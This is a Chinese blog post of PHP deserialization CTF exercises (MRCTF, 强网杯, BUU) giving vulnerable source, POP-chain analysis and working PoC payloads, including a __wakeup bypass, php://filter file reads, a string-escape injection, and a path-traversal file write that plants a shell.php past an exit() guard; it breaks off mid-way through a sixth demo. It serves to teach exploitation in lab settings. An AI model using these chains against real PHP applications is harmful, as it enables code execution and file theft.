壮骥伏枥 發表於 2020-12-17 21:39:00

php反序列化练习题

<h1 id="反序列化练习">反序列化练习</h1>
<p>多学<strong>多练</strong></p>
<h2 id="demo1">demo1</h2>
<h3 id="源码">源码</h3>
<pre><code class="language-php">&lt;?php
error_reporting(0); //关闭错误报告
    class happy{
      protected $file='demo1.php';
      public function __construct($file){
            $this-&gt;file=$file;
      }
         
      function __destruct(){
            if(!empty($this-&gt;file))
            {
                if(strchr($this-&gt;file,"\\")===false &amp;&amp; strchr($this-&gt;file,'/')===false) //过滤了文件名中的\\与/
                  show_source(dirname(__FILE__).'/'.$this-&gt;file); //打开文件操作
                else
                  die('Wrong filename.');
            }
      }
         
      function __wakeup(){
            $this-&gt;file='demo1.php';
      }
      public function __toString()
      {
            return '';
      }
}
      
    if (!isset($_GET['file'])){
      show_source('demo1.php');
    }
    else{
      $file=base64_decode($_GET['file']);
      echo unserialize($file);
      }
?&gt;
&lt;!--password in flag.php--&gt;
</code></pre>
<h3 id="分析">分析</h3>
<p>看到<code>unserialize</code>先找找看有无 <code>__wakeup()、__destruct()</code></p>
<p>在<code>happy</code>类中有 <code>__destruct()</code> 方法 并且如果<code>$file</code>存在的话直接展示<code>$file</code>的代码</p>
<p>但是注意到<code>happy</code>类中还有 <code>__wakeup()</code> 方法 将<code>$file</code>的值改变</p>
<p>在<code>unserialize</code>执行<code>__destruct()</code> 要先执行<code>__wakeup()</code> 因此要想办法绕过<code>__wakeup()</code></p>
<p>在我之前总结的文件章里有写过<strong>wakeup失效</strong>来绕过<code>__wakeup()</code></p>
<h3 id="poc">poc</h3>
<pre><code class="language-php">&lt;?php
       class happy{
                        public $file='demo1.php';
       }
       $o = new happy();
       echo serialize($o);
                //O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";}\00为空字符
       $s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
       echo base64_encode($s);
                //Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
?&gt;
</code></pre>
<h3 id="tips">tips</h3>
<p><code>protected</code> 属性在序列化过后参数前面的标识符为<code>\00*\00</code>(\00为空字符)但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替</p>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213426851-1877936396.png" alt="image-20201202204824377" loading="lazy"></p>
<h2 id="demo2">demo2</h2>
<h3 id="源码-1">源码</h3>
<pre><code class="language-php">&lt;?php
show_source('demo2.php');
class test1
{
    public $varr;
    function __construct()
    {
      $this-&gt;varr = "demo2.php";
    }
    function __destruct()
    {
      if(file_exists($this-&gt;varr)){
            echo "&lt;br /&gt;文件".$this-&gt;varr."存在&lt;br /&gt;";
      }
    }
}

class test2
{
    public $varr;
    public $obj;
    function __construct()
    {
      $this-&gt;varr='123456';
      $this-&gt;obj=null;
    }
    function __toString()
    {
      $this-&gt;obj-&gt;execute();
      return $this-&gt;varr;
    }
    function __destruct()
    {
      echo "&lt;br /&gt;这是f2的析构函数&lt;br /&gt;";
    }
}

class test3
{
    public $varr;
    function execute()
    {
      eval($this-&gt;varr);
    }
    function __destruct()
    {
      echo "&lt;br /&gt;这是f3的析构函数&lt;br /&gt;";
    }
}

    if (isset($_GET['x'])) {
                unserialize($_GET['x']);
        }
       
?&gt;
</code></pre>
<h3 id="分析-1">分析</h3>
<p>看到<code>unserialize</code>找 <code>__wakeup()、__destruct()</code></p>
<p>在<code>test1</code>类中有 <code>__destruct()</code> 方法 其中会先判断<code>file_exists()</code></p>
<pre><code class="language-php">class test1
{
    function __destruct()
    {
      if(file_exists($this-&gt;varr)){
            echo "&lt;br /&gt;文件".$this-&gt;varr."存在&lt;br /&gt;";
      }
}
</code></pre>
<p>如果<code>file_exists()</code> 的值为对象时 会执行 <code>__toString()</code> 方法并且<code>$varr</code> 是可控的</p>
<p>搜索<code>__toString()</code> 方法在 <code>test2</code> 中有 <code>__toString()</code> 方法</p>
<pre><code class="language-php">class test2
{
    public $varr;
    public $obj;
    function __construct()
    {
      $this-&gt;varr='123456';
      $this-&gt;obj=null;
    }
    function __toString()
    {
      $this-&gt;obj-&gt;execute();
      return $this-&gt;varr;
    }
    ......
}
</code></pre>
<p>其中又指向 <code>$this-&gt;obj-&gt;execute()</code> 查找 <code>execute()</code> 方法   并且<code>$varr</code>和 <code>$obj;</code> 是可控的</p>
<p>查找<code>execute()</code> 方法   参数直接执行<code>eval()</code>   在 <code>test3</code> 中有 <code>execute()</code> 方法 并且<code>$varr</code>是可控的</p>
<pre><code class="language-php">class test3
{
    public $varr;
    function execute()
    {
      eval($this-&gt;varr);
    }
    ......
}
</code></pre>
<h3 id="poc-1">poc</h3>
<pre><code class="language-php">&lt;?php
        class test1{
                public $varr;
                function __construct()
                {
                        $this-&gt;varr = new test2();
                }
        }

        class test2
        {
                public $varr;
                public $obj;
                function __construct()
                {
                        $this-&gt;varr='123456';
                        $this-&gt;obj=new test3();
                }
        }
       
        class test3
        {
                public $varr = 'phpinfo();';
        }
       
        $o = new test1();
        $s = serialize($o);
        echo urlencode($s);
//O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D
?&gt;
</code></pre>
<h3 id="tips-1">tips</h3>
<p>将输出url编码 是为防止特殊字符转义</p>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213426319-2107361254.png" alt="image-20201202213455566" loading="lazy"></p>
<h2 id="demo3">demo3</h2>
<p>当尝试以调用函数的方式调用一个对象时,<code>__invoke()</code> 方法会被自动调用。</p>
<p>读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用<code>__get()</code>函数。</p>
<h3 id="源码-2">源码</h3>
<p>MRCTF 2020 Easy pop</p>
<pre><code class="language-php">&lt;?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected$var;
    public function append($value){
      include($value);
    }
    public function __invoke(){
      $this-&gt;append($this-&gt;var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='demo3.php'){
      $this-&gt;source = $file;
      echo 'Welcome to '.$this-&gt;source."&lt;br&gt;";
    }
    public function __toString(){
      return $this-&gt;str-&gt;source;
    }

    public function __wakeup(){
      if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this-&gt;source)) {
            echo "hacker";
            $this-&gt;source = "demo3.php";
      }
    }
}

class Test{
    public $p;
    public function __construct(){
      $this-&gt;p = array();
    }

    public function __get($key){
      $function = $this-&gt;p;
      return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
</code></pre>
<h3 id="分析-2">分析</h3>
<p>看到<code>unserialize</code>找 <code>__wakeup()、__destruct()</code></p>
<p>在<code>show</code>类中有 <code>__wakeup()</code> 方法其中有<code>$this-&gt;source</code>当 <code>$source</code> 为 <code>Show</code> 对象时会先执行 <code>__construct</code> 当执行<code>__toString()</code> 方法其中 <code>$source</code> 和 <code>$str</code>都是可控的</p>
<pre><code class="language-php">class Show{
    public $source;
    public $str;
    public function __construct($file='demo3.php'){
      $this-&gt;source = $file;
      echo 'Welcome to '.$this-&gt;source."&lt;br&gt;";
    }
    public function __toString(){
      return $this-&gt;str-&gt;source;
    }

    public function __wakeup(){
      if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this-&gt;source)) {
            echo "hacker";
            $this-&gt;source = "demo3.php";
      }
    }
}
</code></pre>
<p><code>__toString()</code> 方法指向 <code>$this-&gt;str-&gt;source;</code> 会发现没有 <code>source</code> 方法 但是在 <code>Test</code> 类中找到了 <code>__get()</code> 方法其中 <code>$p</code> 可控并且 <code>return $function();</code> 会触发 <code>__invoke()</code> 方法</p>
<pre><code class="language-php">class Test{
    public $p;
    public function __construct(){
      $this-&gt;p = array();
    }

    public function __get($key){
      $function = $this-&gt;p;
      return $function();
    }
}
</code></pre>
<p>在 <code>Modifier</code> 类中找到 <code>__invoke()</code> 方法 指向 <code>append</code> 方法会执行 <code>include()</code>就可以用php伪协议读文件</p>
<pre><code class="language-php">class Modifier {
    protected$var;
    public function append($value){
      include($value);
    }
    public function __invoke(){
      $this-&gt;append($this-&gt;var);
    }
}
</code></pre>
<h3 id="poc-2">poc</h3>
<pre><code class="language-php">&lt;?php

        class Modifier{
                protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
        }
       
        class Show{
                public $source;
                public $str;
                public function __construct($file='demo3.php'){
                        $this-&gt;source = $file;
                        echo 'Welcome to '.$this-&gt;source."&lt;br&gt;";
                }
                public function __toString(){
                        return '666';
                }

                public function __wakeup(){
                        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this-&gt;source)) {
                                echo "hacker";
                                $this-&gt;source = new Show();
                        }
                }
        }
       
        class Test{
        public $p;

    public function __construct(){
      $this-&gt;p = new Modifier();
    }
        }
       
        $a = new Show();
        $a-&gt;str = new Test();
        $b = new Show($a);
        $s = serialize($b);
        echo $s;
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"demo3.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
        echo '&lt;/br&gt;';
        echo urlencode($s);
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22demo3.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
?&gt;
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213426053-1599980578.png" alt="image-20201203103425579" loading="lazy"></p>
<p>再将得到的base64解码即可看到源码</p>
<h2 id="demo4">demo4</h2>
<h3 id="源码-3">源码</h3>
<p>强网杯-web-辅助(直接给出了源码)</p>
<pre><code class="language-php">//index.php
&lt;?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";

if (isset($_GET['username']) &amp;&amp; isset($_GET['password'])){
    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
    file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
    echo sprintf('Welcome %s, your ip is %s\n', $username, $_SERVER['REMOTE_ADDR']);
}
else{
    echo "Please input the username or password!(get)\n";
}
?&gt;
</code></pre>
<pre><code class="language-php">//common.php
&lt;?php
function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}

function check($data)
{
    if(stristr($data, 'name')!==False){
      die("Name Pass\n");
    }
    else{
      return $data;
    }
}
?&gt;
</code></pre>
<pre><code class="language-php">//class.php
&lt;?php
class player{
    protected $user;
    protected $pass;
    protected $admin;

    public function __construct($user, $pass, $admin = 0){
      $this-&gt;user = $user;
      $this-&gt;pass = $pass;
      $this-&gt;admin = $admin;
    }

    public function get_admin(){
      return $this-&gt;admin;
    }
}

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
      $this-&gt;name = $name;
    }

    public function TP(){
      if (gettype($this-&gt;name) === "function" or gettype($this-&gt;name) === "object"){
            $name = $this-&gt;name;
            $name();
      }
    }

    public function __destruct(){
      $this-&gt;TP();
    }

}

class midsolo{
    protected $name;

    public function __construct($name){
      $this-&gt;name = $name;
    }

    public function __wakeup(){
      if ($this-&gt;name !== 'Yasuo'){
            $this-&gt;name = 'Yasuo';
            echo "No Yasuo! No Soul!\n";
      }
    }


    public function __invoke(){
      $this-&gt;Gank();
    }

    public function Gank(){
      if (stristr($this-&gt;name, 'Yasuo')){
            echo "Are you orphan?\n";
      }
      else{
            echo "Must Be Yasuo!\n";
      }
    }
}

class jungle{
    protected $name = "";

    public function __construct($name = "Lee Sin"){
      $this-&gt;name = $name;
    }

    public function KS(){
      eval('phpinfo();');
    }

    public function __toString(){
      $this-&gt;KS();
      return "";
    }
}
?&gt;
</code></pre>
<pre><code class="language-php">//play.php
&lt;?php
        @error_reporting(0);
        require_once "common.php";
        require_once "class.php";
       
        @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
        print_r($player);
        if ($player-&gt;get_admin() === 1){
                echo "FPX Champion\n";
        }
        else{
                echo "The Shy unstoppable\n";
        }
?&gt;
</code></pre>
<h3 id="分析-3">分析</h3>
<p>在 <code>index.php</code> 传入 <code>username</code> 和 <code>password</code> 然后通过 <code>player</code> 方法将对象反序列化的值输入到文件里</p>
<pre><code class="language-php">    $username = $_GET['username'];
    $password = $_GET['password'];
    $player = new player($username, $password);
        file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));        
   
    public function __construct($user, $pass, $admin = 0){
      $this-&gt;user = $user;
      $this-&gt;pass = $pass;
      $this-&gt;admin = $admin;
    }
// $username=1&amp;$paassword=1
// O:6:"player":3:{s:7:"\0*\0user";s:1:"1";s:7:"\0*\0pass";s:1:"1";s:8:"\0*\0admin";i:0;}
</code></pre>
<p>在 <code>play.php</code> 会将存入文件的值反序列化</p>
<p>在 <code>topsolo</code> 类中找到 <code>__destruct()</code> 方法 指向 <code>tp()</code>当传入的 <code>$name</code> 是方法或者对象时 执行函数传入对象 调用 <code>__invoke()</code> 方法<code>$name</code> 可控</p>
<pre><code class="language-php">class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
      $this-&gt;name = $name;
    }

    public function TP(){
      if (gettype($this-&gt;name) === "function" or gettype($this-&gt;name) === "object"){
            $name = $this-&gt;name;
            $name();
      }
    }

    public function __destruct(){
      $this-&gt;TP();
    }
}
</code></pre>
<p>在 <code>midsolo</code> 类中有 <code>__invoke()</code> 方法   指向 <code>Gank()</code> 方法<code>stristr</code>函数 当传的是对象 调用<code>__toString()</code> 方法</p>
<pre><code class="language-php">class midsolo{
    protected $name;
   
    class midsolo{
            protected $name;
    }
   
    public function __invoke(){
      $this-&gt;Gank();
    }

    public function Gank(){
      if (stristr($this-&gt;name, 'Yasuo')){
            echo "Are you orphan?\n";
      }
      else{
            echo "Must Be Yasuo!\n";
      }
    }
}
   
    public function __invoke(){
      $this-&gt;Gank();
    }

    public function Gank(){
      if (stristr($this-&gt;name, 'Yasuo')){
            echo "Are you orphan?\n";
      }
      else{
            echo "Must Be Yasuo!\n";
      }
    }
}
</code></pre>
<p>在 <code>jungle</code> 类中有 <code>__toString()</code> 方法 指向 <code>KS()</code> 方法 然后执行命令</p>
<pre><code class="language-php">class jungle{
    protected $name = "";


    public function KS(){
      eval('phpinfo();');
    }

    public function __toString(){
      $this-&gt;KS();
      return "";
    }
}
</code></pre>
<h3 id="poc-3">poc</h3>
<h4 id="构造pop链">构造pop链</h4>
<pre><code class="language-php">&lt;?php

class topsolo{
    protected $name;

    public function __construct($name = 'Riven'){
      $this-&gt;name = new midsolo();
    }

    public function TP(){
      if (gettype($this-&gt;name) === "function" or gettype($this-&gt;name) === "object"){
            $name = $this-&gt;name;
            $name();
      }
    }

    public function __destruct(){
      $this-&gt;TP();
    }
}

class midsolo{
    protected $name;

    public function __construct($name){
      $this-&gt;name = new jungle();
    }
       
    public function __invoke(){
      $this-&gt;Gank();
    }

    public function Gank(){
      if (stristr($this-&gt;name, 'Yasuo')){
            echo "Are you orphan?\n";
      }
      else{
            echo "Must Be Yasuo!\n";
      }
    }
}

class jungle{
    protected $name = "Th0r";
}

$o = new topsolo();
$s = serialize($o);
echo $s;
// O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}
echo urlencode($s);
// O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
</code></pre>
<h4 id="绕过wakeup">绕过wakeup()</h4>
<p>为了绕过wakeup() 将midsolo后的1修改为2</p>
<p><strong>wakeup失效影响版本:</strong>PHP5 &lt; 5.6.25      PHP7 &lt; 7.0.10</p>
<pre><code class="language-php">O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":2:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:4:"Th0r";}}}`

O%3A7%3A%22topsolo%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3BO%3A6%3A%22jungle%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
</code></pre>
<p>先在class.php里传入参数试了试 发现一直不能将值传进去</p>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213425712-201899642.png" alt="image-20201206213358103" loading="lazy"></p>
<p>一直以为是链构造出了问题 浪费了很多时间 最后发现将php的版本设置成php7.3.4 成功传入参数 但目前还不知道是什么东西造成的</p>
<p>更改了php版本以后又出现了新的问题 在生成序列化链的时候直接报错 无法生成</p>
<p><code>PHP Fatal error: Uncaught ArgumentCountError: Too few arguments to function midsolo::__construct()</code></p>
<p>最后百度得知</p>
<p><strong>早期的 PHP 版本允许函数调用时传递的参数少于函数定义本身要求的参数个数,但当你调用函数时就会抛出一个参数丢失的警告。但在 PHP 7.1 以后,这些警告变成了一个 ArgumentCountError 的异常</strong></p>
<h4 id="绕过stristr">绕过stristr()</h4>
<p>当表示字符类型的s大写时,会被当成16进制解析。</p>
<p>因此将<code>name---&gt; \6e\61\6d\65</code>,并将s改为S</p>
<pre><code class="language-php">function check($data)
{
    if(stristr($data, 'name')!==False){
      die("Name Pass\n");
    }
    else{
      return $data;
    }
}
</code></pre>
<pre><code class="language-php">O%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
</code></pre>
<h4 id="字符串逃逸">字符串逃逸</h4>
<pre><code class="language-php">function read($data){
    $data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
    return $data;
}
function write($data){
    $data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
    return $data;
}
</code></pre>
<p>这里主要需要关注的是read函数当在文件中读取字符串时 会将 <code>\0*\0</code> 变为 <code>chr(0)."*".chr(0)</code> 因此字符串数量减少了两个 从而达到逃逸</p>
<p>先将其传入查看</p>
<pre><code class="language-php">O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}
</code></pre>
<p><code>注意:%00在此表示空字符 以url编码的字符为准这里可能造成url二次编码 </code></p>
<p>需要的就是把 <code>";s:7:"%00*%00pass";s:130:"</code> 注释掉 总共有23个字符</p>
<p>因此需要 23/2 +1=12个 <code>\0*\0</code>但需要补充一个字符 <code>C</code></p>
<pre><code class="language-php">username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
</code></pre>
<p>补充上之前注释掉的字符 <code>";s:7:"%00*%00pass";</code>这样password对应的就是对象</p>
<pre><code class="language-php">password=C";s:7:"%00*%00pass";O:6:"player":3:{s:7:"%00*%00user";s:0:"";s:7:"%00*%00pass";s:130:"O:7:"topsolo":1:{S:7:"%00*%00\6e\61\6d\65";O:7:"midsolo":2:{S:7:"%00*%00\6e\61\6d\65";O:6:"jungle":1:{S:7:"%00*%00\6e\61\6d\65";s:4:"Th0r";}}}";s:8:"%00*%00admin";i:0;}
</code></pre>
<p>最终payload</p>
<pre><code class="language-php">?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&amp;password=C%22%3bs%3a7%3a%22%00%2A%00pass%22%3BO%3A7%3A%22topsolo%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A7%3A%22midsolo%22%3A2%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3BO%3A6%3A%22jungle%22%3A1%3A%7BS%3A7%3A%22%00%2A%00\6e\61\6d\65%22%3Bs%3A4%3A%22Th0r%22%3B%7D%7D%7D
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213425410-20796003.png" alt="image-20201215153112948" loading="lazy"></p>
<p>访问play.php</p>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213425108-1523823209.png" alt="image-20201215153201529" loading="lazy"></p>
<h2 id="demo5">demo5</h2>
<p>buu 2020新春红包题</p>
<h3 id="源码-4">源码</h3>
<pre><code class="language-php">&lt;?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
      $this-&gt;key = $key;
      $this-&gt;store = $store;
      $this-&gt;expire = $expire;
    }
    public function cleanContents(array $contents) {
      $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
      ]);
      foreach ($contents as $path =&gt; $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
      }
      return $contents;
    }
    public function getForStorage() {
      $cleaned = $this-&gt;cleanContents($this-&gt;cache);
      return json_encode([$cleaned, $this-&gt;complete]);
    }
    public function save() {
      $contents = $this-&gt;getForStorage();
      $this-&gt;store-&gt;set($this-&gt;key, $contents, $this-&gt;expire);
    }

    public function __destruct() {
      if (!$this-&gt;autosave) {
            $this-&gt;save();
      }
    }
}

class B {

    protected function getExpireTime($expire): int {
      return (int) $expire;
    }

    public function getCacheKey(string $name): string {
      // 使缓存文件名随机
      $cache_filename = $this-&gt;options['prefix'] . uniqid() . $name;
      if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
      }
      return $cache_filename;
    }

    protected function serialize($data): string {
      if (is_numeric($data)) {
            return (string) $data;
      }

      $serialize = $this-&gt;options['serialize'];

      return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
      $this-&gt;writeTimes++;

      if (is_null($expire)) {
            $expire = $this-&gt;options['expire'];
      }

      $expire = $this-&gt;getExpireTime($expire);
      $filename = $this-&gt;getCacheKey($name);

      $dir = dirname($filename);

      if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
      }
      $data = $this-&gt;serialize($value);
      if ($this-&gt;options['data_compress'] &amp;&amp; function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
      }
      $data = "&lt;?php\n//" . sprintf('%012d', $expire) . "\n exit();?&gt;\n" . $data;
      $result = file_put_contents($filename, $data);
      if ($result) {
            return $filename;
      }
      return null;
    }
}
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);
</code></pre>
<h3 id="分析-4">分析</h3>
<p>后面有 <code>unserialize</code>函数那就先找找看有无<code>__wakeup()</code>和 <code>__destruct()</code> 方法</p>
<pre><code class="language-php">    public function save() {
      $contents = $this-&gt;getForStorage();
      $this-&gt;store-&gt;set($this-&gt;key, $contents, $this-&gt;expire);
    }

    public function __destruct() {
      if (!$this-&gt;autosave) {
            $this-&gt;save();
      }
    }
</code></pre>
<p>A类中存在 <code>__destruct()</code> 方法指向<code>save()</code>然后指向 <code>set()</code> 方法 在B类中找到<code>set()</code> 方法</p>
<pre><code class="language-php">    public function set($name, $value, $expire = null): bool{
      $this-&gt;writeTimes++;

      if (is_null($expire)) {
            $expire = $this-&gt;options['expire'];
      }

      $expire = $this-&gt;getExpireTime($expire);
      $filename = $this-&gt;getCacheKey($name);

      $dir = dirname($filename);

      if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
      }
      $data = $this-&gt;serialize($value);
      if ($this-&gt;options['data_compress'] &amp;&amp; function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
      }
      $data = "&lt;?php\n//" . sprintf('%012d', $expire) . "\n exit();?&gt;\n" . $data;
      $result = file_put_contents($filename, $data);
      if ($result) {
            return $filename;
      }
      return null;
    }
</code></pre>
<p>在<code>set()</code> 方法中存在 <code>file_put_contents($filename, $data)</code> 函数并且 <code>$filename</code> 和 <code>$data</code> 都是可控的 因此可以在此尝试漏洞利用</p>
<pre><code class="language-php">    $expire = $this-&gt;getExpireTime($expire);
    $filename = $this-&gt;getCacheKey($name);
</code></pre>
<p>先看看 <code>$expire</code> 和 <code>$filename</code> 是如何赋值的</p>
<pre><code class="language-php">    protected function getExpireTime($expire): int {
      return (int) $expire;
    }

    public function getCacheKey(string $name): string {
      // 使缓存文件名随机
      $cache_filename = $this-&gt;options['prefix'] . uniqid() . $name;
      // uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
      if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
      }
      return $cache_filename;
    }
</code></pre>
<p>主要是看 <code>$filename</code> 将 文件名首先进行了随机化 然后还过滤了以 <code>.php</code> 结尾的文件</p>
<p>使用 <code>/../</code> 将目录穿越到上一层 并且文件名也可以得到固定 绕过随机文件名 在文件名后面加上 <code>/.</code> 对文件名并且影响并且可以绕过 <code>substr()</code>的检测<code>$name=/../shell.php/.</code></p>
<p>出入文件的参数 <code>$data</code></p>
<pre><code class="language-php">$data = "&lt;?php\n//" . sprintf('%012d', $expire) . "\n exit();?&gt;\n" . $data;
</code></pre>
<p>这里需要绕过 exit() 的限制 不然无法执行传入的代码</p>
<p>使用php://filter流的base64-decode方法,将<code>$data</code>解码,可以利用php base64_decode函数特性去除“死亡exit”。因为<code>base64_decode()</code> 只解析base64编码中只包含64个可打印字符<code>&lt;、?、;、&gt;、空格</code> 等不符合的字符将被忽略 因此真正解析的内容只有 <code>phpexit</code> 和传入的字符。因此可以绕过exit</p>
<p>参考链接</p>
<p>再看看A类中需要构造的函数</p>
<pre><code class="language-php">    public function getForStorage() {
      $cleaned = $this-&gt;cleanContents($this-&gt;cache);
      return json_encode([$cleaned, $this-&gt;complete]);
    }
    public function cleanContents(array $contents)
</code></pre>
<p>因此 <code>$cache</code> 应该为数组</p>
<h3 id="poc-4">poc</h3>
<pre><code class="language-php">&lt;?php
class A {
    protected $store;
    protected $key;
    protected $expire;
       
        public $complete = 1;
        public $cache = [];
       
    public function __construct($store, $key = 'flysystem', $expire = null) {
      $this-&gt;key = '/../shell.php/.';
      $this-&gt;store = new B();
                $this-&gt;cache = ['dirname' =&gt; 'aPD9waHAgcGhwaW5mbygpOz8+'];
    }
}

class B {
        public $options = [
                        'serialize' =&gt; 'serialize',
                        'prefix' =&gt; 'php://filter/write=convert.base64-decode/resource=./uploads/',
                ];
}

$o = new A();
echo urlencode(serialize($o));
?&gt;
//O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22prefix%22%3Bs%3A60%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D.%2Fuploads%2F%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A15%3A%22%2F..%2Fshell.php%2F.%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bi%3A1%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bs%3A7%3A%22dirname%22%3Bs%3A25%3A%22aPD9waHAgcGhwaW5mbygpOz8%2B%22%3B%7D%7D
</code></pre>
<p><img src="https://img2020.cnblogs.com/blog/2158729/202012/2158729-20201217213424776-1281375490.png" alt="image-20201217110523595" loading="lazy"></p>
<h2 id="demo6">demo6</h2>
<p>来自lemon师傅博客</p>
<h3 id="源码-5">源码</h3>
<pre><code class="language-php"> &lt;?php
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
    $this-&gt;matchPattern = $pattern;
    $this-&gt;replacement = $repl;
}
